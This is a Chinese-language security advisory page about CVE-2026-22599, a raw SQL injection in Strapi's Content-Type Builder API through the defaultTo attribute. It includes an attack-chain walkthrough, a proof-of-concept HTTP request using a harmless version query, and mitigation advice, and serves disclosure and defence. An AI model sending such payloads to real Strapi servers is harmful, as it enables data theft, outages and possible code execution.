IPBUF安全漏洞报告
English
CVE-2026-22599 CVSS 7.2 高危

CVE-2026-22599 Strapi数据库查询注入漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-22599
漏洞类型
数据库查询注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Strapi

相关标签

SQL注入RCEStrapi数据库注入高危

漏洞概述

Strapi是一款开源无头内容管理系统。在4.26.1和5.33.2之前的版本中,其Content-Type Builder写入API存在严重的数据库查询注入漏洞。经过身份认证的管理员可以通过精心构造的`column.defaultTo`属性注入任意数据库语句。这可能导致任意文件读取、服务拒绝以及潜在的远程代码执行。官方补丁已将该API限制为仅开发模式使用。

技术细节

该漏洞位于Strapi处理内容类型架构的机制中。当管理员通过API创建或修改内容类型时,系统允许指定字段的默认值。攻击者可以利用`column.defaultTo`参数,将其设置为一个包含`{isRaw: true}`标志的元组结构。该标志指示底层ORM(Knex)在后续的数据库模式迁移过程中,直接将提供的值作为原始SQL语句传递给`db.connection.raw()`函数执行,而未经过任何安全过滤或清理。利用这一机制,攻击者可以绕过常规的安全检查,直接在数据库层面执行任意SQL命令。

攻击链分析

STEP 1
1
攻击者获取Strapi系统的管理员级账户权限。
STEP 2
2
攻击者向Content-Type Builder API发送特制的POST请求,旨在创建或修改内容类型。
STEP 3
3
请求载荷中包含恶意的`defaultTo`字段,格式为`[payload, {isRaw: true}]`,其中payload为恶意SQL语句。
STEP 4
4
Strapi在处理架构迁移时,将恶意SQL直接传递给数据库驱动执行。
STEP 5
5
数据库执行恶意语句,导致数据泄露(文件读取)、系统崩溃(DoS)或在特定条件下实现远程代码执行(RCE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-22599 * Target: Strapi < 4.26.1, < 5.33.2 * Description: Sending a malicious content type creation request * to trigger raw SQL execution via defaultTo attribute. */ POST /content-type-builder/content-types HTTP/1.1 Host: target-strapi.com Authorization: Bearer <admin_token> Content-Type: application/json { "contentType": { "kind": "collectionType", "name": "poc-model", "attributes": { "injectField": { "type": "text", "defaultTo": ["(SELECT version())", { "isRaw": true }] } } } }

影响范围

Strapi 4.x < 4.26.1
Strapi 5.x < 5.33.2

防御指南

临时缓解措施
如果无法立即升级,建议通过网络防火墙或应用层网关(WAF)阻断对`/content-type-builder`相关路径的请求,确保生产环境不暴露架构修改接口。同时,严格审查管理员操作日志,检测是否存在异常的内容类型创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表